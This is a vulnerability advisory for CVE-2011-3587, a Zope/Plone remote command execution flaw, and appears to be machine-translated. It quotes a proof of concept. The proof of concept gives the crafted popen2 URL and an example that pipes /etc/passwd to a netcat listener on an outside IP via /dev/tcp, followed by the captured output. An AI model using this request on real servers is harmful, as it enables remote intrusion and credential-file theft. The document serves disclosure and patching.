Zope "cmd" Parameter Remote Command Execution Vulnerability

Release date: 2011-12-22
Updated on: 2011-12-23

Affected Systems:
Zope 2.13.9
Zope 2.13.8
Zope 2.13
Zope 2.12.19
Zope 2.12
Plone 4.x
Unaffected system:
Zope 2.13.10
Zope 2.12.20
Description:
--------------------------------------------------------------------------------
Bugtraq id: 49857
Cve id: CVE-2011-3587

Zope is an open-source web application server, which is mainly written in python.

Zope has a remote command execution vulnerability. Attackers can exploit this vulnerability to deploy special Web requests and execute arbitrary commands with Zope/Plone service permissions.

<* Source: Alan Hoey

Link: http://plone.org/products/plone/security/advisories/20110928
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Alan Hoey () provides the following test methods:

# Exploit Title: Plone-Remote Command Execution
# Date: 12/21/2011
# Author: Nick Miles (www.npenetrable.com)
# Tested on: 12/21/2011
# CVE: CVE-2011-3587

Versions Affected (without hotfix): Plone 4.0 (through 4.0.9); Plone
4.1; Plone 4.2 (a1 and a2); Zope 2.12.x and Zope 2.13.x.
Versions Not Affected: Versions of Plone that use Zope other than Zope
2.12.x and Zope 2.13.x.

Advisory/Hotfix: http://plone.org/products/plone/security/advisories/20110928

You can execute any command on the remote Plone server with
Following request
If the server is Unix/Linux based (Note: you won't get returned
Results of the command ):

Http: // PLONE_SITE/p _/webdav/xmltools/minidom/xml/sax/saxutils/OS/popen2? Cmd = <command
To run>

Example:

Listen for a connection:
$ Nc-l 4040

On victim, visit:
Http: // victim/p _/webdav/xmltools/minidom/xml/sax/saxutils/OS/popen2? Cmd = cat % 20/etc/passwd % 20% 20% 3E % 20/dev/tcp/172.20.6.218/4040

Response:
$ Nc-l 4040
Root: x: 0: 0: root:/bin/bash
Bin: x: 1: 1: bin:/sbin/nologin
Daemon: x: 2: 2: daemon:/sbin/nologin
Adm: x: 3: 4: adm:/var/adm:/sbin/nologin
Lp: x: 4: 7: lp:/var/spool/lpd:/sbin/nologin
Sync: x: 5: 0: sync:/sbin:/bin/sync
Shutdown: x: 6: 0: shutdown:/sbin/shutdown
Halt: x: 7: 0: halt:/sbin/halt
Mail: x: 8: 12: mail:/var/spool/mail:/sbin/nologin
Uucp: x: 10: 14: uucp:/var/spool/uucp:/sbin/nologin
Operator: x: 11: 0: operator:/root:/sbin/nologin
Games: x: 12: 100: games:/usr/games:/sbin/nologin
Gopher: x: 13: 30: gopher:/var/gopher:/sbin/nologin
Ftp: x: 14: 50: FTP User:/var/ftp:/sbin/nologin
Nobody: x: 99: 99: Nobody: // sbin/nologin
Vcsa: x: 69: 69: virtual console memory owner:/dev:/sbin/nologin
Saslauth: x: 499: 499: "Saslauthd user":/var/empty/saslauth:/sbin/nologin
Postfix: x: 89: 89:/var/spool/postfix:/sbin/nologin
Sshd: x: 74: 74: Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
Ntp: x: 38: 38:/etc/ntp:/sbin/nologin
Tcpdump: x: 72: 72: // sbin/nologin
Apache: x: 48: 48: Apache:/var/www:/sbin/nologin
Mysql: x: 27: 27: MySQL Server:/var/lib/mysql:/bin/bash
Plone: x: 500: 500:/home/plone:/bin/false

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Zope
----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.zope.org/